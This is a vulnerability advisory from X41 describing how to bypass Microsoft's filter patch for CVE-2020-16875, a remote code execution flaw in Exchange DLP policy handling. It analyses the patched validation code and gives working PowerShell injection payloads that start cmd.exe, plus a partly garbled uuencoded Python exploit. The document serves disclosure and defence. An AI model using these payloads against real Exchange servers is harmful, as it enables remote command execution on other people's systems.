|=.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-=| |=-------------*[ CVE-2020-16875 Protection/Filter Bypass ]*-------------=| |=.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-=| |=-----------------------------*[ @x41sec ]*-----------------------------=| |=.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-=| * , _/^\_ < > * /.-.\ * * `/&\` * ,@.*;@, /_o.I %_\ * * (`'--:o(_@; /`;--.,__ `') * ;@`o % O,*`'`&\ * (`'--)_@ ;o %'()\ * /`;--._`''--._O'@; /&*,()~o`;-.,_ `""`) * /`,@ ;+& () o*`;-';\ (`""--.,_0 +% @' &()\ /-.,_ ``''--....-'`) * * /@%;o`:;'--,.__ __.'\ ;*,&(); @ % &^;~`"`o;@(); * /(); o^~; & ().o@*&`;&%O\ jgs `"="==""==,,,.,="=="==="` __.----.(\-''#####---...___...-----._ '` \)_`"""""` .--' ') o( )_-\ `"""` ` 0) Table of contents 1 - Introduction and Impact 2 - Patch Analysis 3 - Filter Bypass 3.1 - Bypass Check #1 3.2 - Bypass Check #2 3.3 - Bypass Check #3 4 - PoC 5 - Solution Advice 6 - Timeline 7 - Credits 8 - PoC 1) Introduction In September 2020 a patch was issued for CVE-2020-16875 affecting Microsoft Exchange 2016 and 2019. The vulnerability enables RCE via cmdlets supplied by the /ecp/DLPPolicy HTTPS endpoint of an Exchange server. The original vulnerability and research was reported by Steven Seeley of Source Incite (@steventseeley) and is available here: https://srcincite.io/advisories/src-2020-0019/ (Advisory) https://srcincite.io/pocs/cve-2020-16875.py.txt (PoC) Steven found the bypass described in this writeup as well and he will publish his own blog post also describing the original vulnerability and potentially more. A patch has been issued introducing filtering of cmdlets: https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016 As part of automated patch analysis efforts, the team at X41 analyzed the patch and was able to bypass the filter with a modified payload. This allows the injection of cmdlets into a remote Exchange server. A valid user account with permissions to administrate the DLP policies is required. The impact is identical to the previous vulnerability present on unpatched Exchange installations: CVSS: 8.5 Severity (according to MSRC): Critical 2) - Patch Analysis The patched code that prevents exploitation of CVE-2020-16875 looks like this: internal static void ValidateCmdletParameters(string cmdlet, IEnumerable> requiredParameters) { if (string.IsNullOrWhiteSpace(cmdlet)) { return; } Collection collection2; Collection collection = PSParser.Tokenize(cmdlet, out collection2); if (collection2 != null && collection2.Count > 0) { throw new DlpPolicyParsingException( Strings.DlpPolicyNotSupportedCmdlet(cmdlet)); } if (collection != null) { // #1 CHECKS IF THERE IS MORE THAN ONE COMMAND, BUT DOES NOT // RECOGNIZE .NET FUNCTIONS SUCH AS [Int32]::Parse("12") if ((from token in collection where token.Type == PSTokenType.Command select token).ToList().Count > 1) { throw new DlpPolicyParsingException( Strings.DlpPolicyMultipleCommandsNotSupported(cmdlet)); } } bool flag = false; foreach (KeyValuePair keyValuePair in requiredParameters) { // #2 CHECKS IF THE cmdlet STRING(!!) STARTS WITH AN ALLOWED KEY if (cmdlet.StartsWith(keyValuePair.Key, StringComparison.InvariantCultureIgnoreCase)) { // #3 CHECKS IF THE THE VALUES / PARAMETERS MATCH A CERTAIN // REGEX if (!Regex.IsMatch(cmdlet, keyValuePair.Value, RegexOptions.IgnoreCase)) { throw new DlpPolicyParsingException( Strings.DlpPolicyMissingRequiredParameter(cmdlet, keyValuePair.Value)); } flag = true; } } if (!flag) { throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet( cmdlet)); } } A validation of the cmdlet is attempted with two main goals: 1. Prevent multiple Powershell Command tokens per cmdlet. 2. Only allow whitelisted commands with certain parameters. Three checks are introduced to filter out exploitation attempts. Unfortunately these checks aren't sufficient. 3.1) Bypass Check #1 Check #1 in the patch above is parsing and tokenizing the cmdlet string and checks if more than one token of type PSTokenType.Command is present. This rejects the original payload that relies on having more than one command such as for example the following payload: New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true; $i.FileName="cmd";$i.Arguments="/c %s"; $r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() Also command tokens inside `$()` statements are prevented, so the following will NOT work: new-transportrule -Name $(Diagnostics.Process.Start(....)) However, direct calls to .NET via the square bracket syntax are still possible as they are not considered as `Command` tokens by PSParser: new-transportrule -Name $([Diagnostics.Process]::start("cmd.exe", "/C ....")) The above command contains one `Command` token, therefore bypassing check #1. 3.2) Bypass Check #2 Check #2 can be easily bypassed because the check is done on the raw cmdlet string and is only using the function `.StartsWith()` to check the beginning of the cmdlet. To bypass we just supply a command string that is contained in the valid keys given via requiredParameters: new-transportruleSOMETHINGELSE.... 3.3) Bypass Check #3 Check #3 is applying a regular expression to the cmdlet to ensure only valid parameters and values are supplied. Unfortunately the regular expression falls short in at least two ways: 1. By default Regex.IsMatch() does not match multiple lines. 2. The applied regular expression does not match from begin to end of the cmdlet string, but instead also matches on sub strings. To bypass the check, the Powershell cmdlet just needs to contain one of the expected parameters such as for example `DlpPolicy`. 4) PoC The following payload can bypass all three checks as mentioned above: ")) -DlpPolicy "%%DlpPolicyName%%" ]]> 5) Solution Advice A fix has been released[1] in the December Patch Tuesday. It is strongly recommended to create a more strict interface that can be accessed via the DLP API in Exchange. The usage of cmdlets is inherently dangerous because of the complexity of the Powershell scripting language. Instead a dedicated function interface that only accepts whitelisted individual parameters is recommended. 6) Timeline 2020-09-28 - Patch analysis via the experimental X41 patch analysis pipeline 2020-09-30 - Confirmed the patch is ineffective by creating a new PoC 2020-10-01 - Report to MSRC 2020-12-08 - A new fix was released in the Patch Tuesday as CVE-2020-17132 2020-12-09 - Bounty rejected since only a proof for on-prem was provided 7) Credits In Alphabetical Order: Leonard Rapp - Patch Diffing and Analysis Markus Vervier - PoC / Exploitation Steven Seeley - for the original PoC and good discussions Yasar Klawohn - PoC / Bypass 8) PoC begin 644 CVE-2020-16875-PATCH-BYPASS.py M(R$O=7-R+V)I;B]E;G8@<'ET:&]N,PT*(B(B#0I4:&ES(%!O0R!I&-H86YG961E;6\N8V]M.G5S97(Q,C,C(R,@;7-P86EN=`T*#0IR M97-E87)C:&5R0&EN8VET93I^)"`N+W!O8RYP>2`Q.3(N,38X+C6U`97AC:&%N9V5D96UO+F-O;3IU&5C=71E9"!M'!R97-S:6]N&UL*&,I.@T*("`@(')E='5R M;B`B(B(\/WAM;"!V97)S:6]N/2(Q+C`B(&5N8V]D:6YG/2)55$8M."(_/@T* M/&1L<%!O;&EC>51E;7!L871E51E;7!L871E(&ED M/2)&-T,R.4%%0RU!-3)$+30U,#(M.38W,"TQ-#$T,C1!.#-&04(B(&UO9&4] M(D%U9&ET(B!S=&%T93TB16YA8FQE9"(@=F5RF5D4W1R:6YG(&QA;F<](F5N(CX\+VQO8V%L:7IE9%-T7=O M'0B*2P-"B`@("`@("`@)V-T;#`P)%)E&UL(BP@9V5T7WAM;"@I*2P-"B`@("!]#0H@("`@49R;VU)4U8N87-P M>"(@)2!T+"!F:6QE3U& M86QS92D-"B`@("!A7,N87)G=ELP72D-"B`@("`@("`@<')I;G0H(B@K*2!E9SH@)7,@,3DR+C$V M."XW-2XQ-#(@:&%R7,N97AI="@M,2D- M"B`@("!T7,N87)G=ELR72YS<&QI="@B.B(I6S%=#0H@("`@;6%I;BAT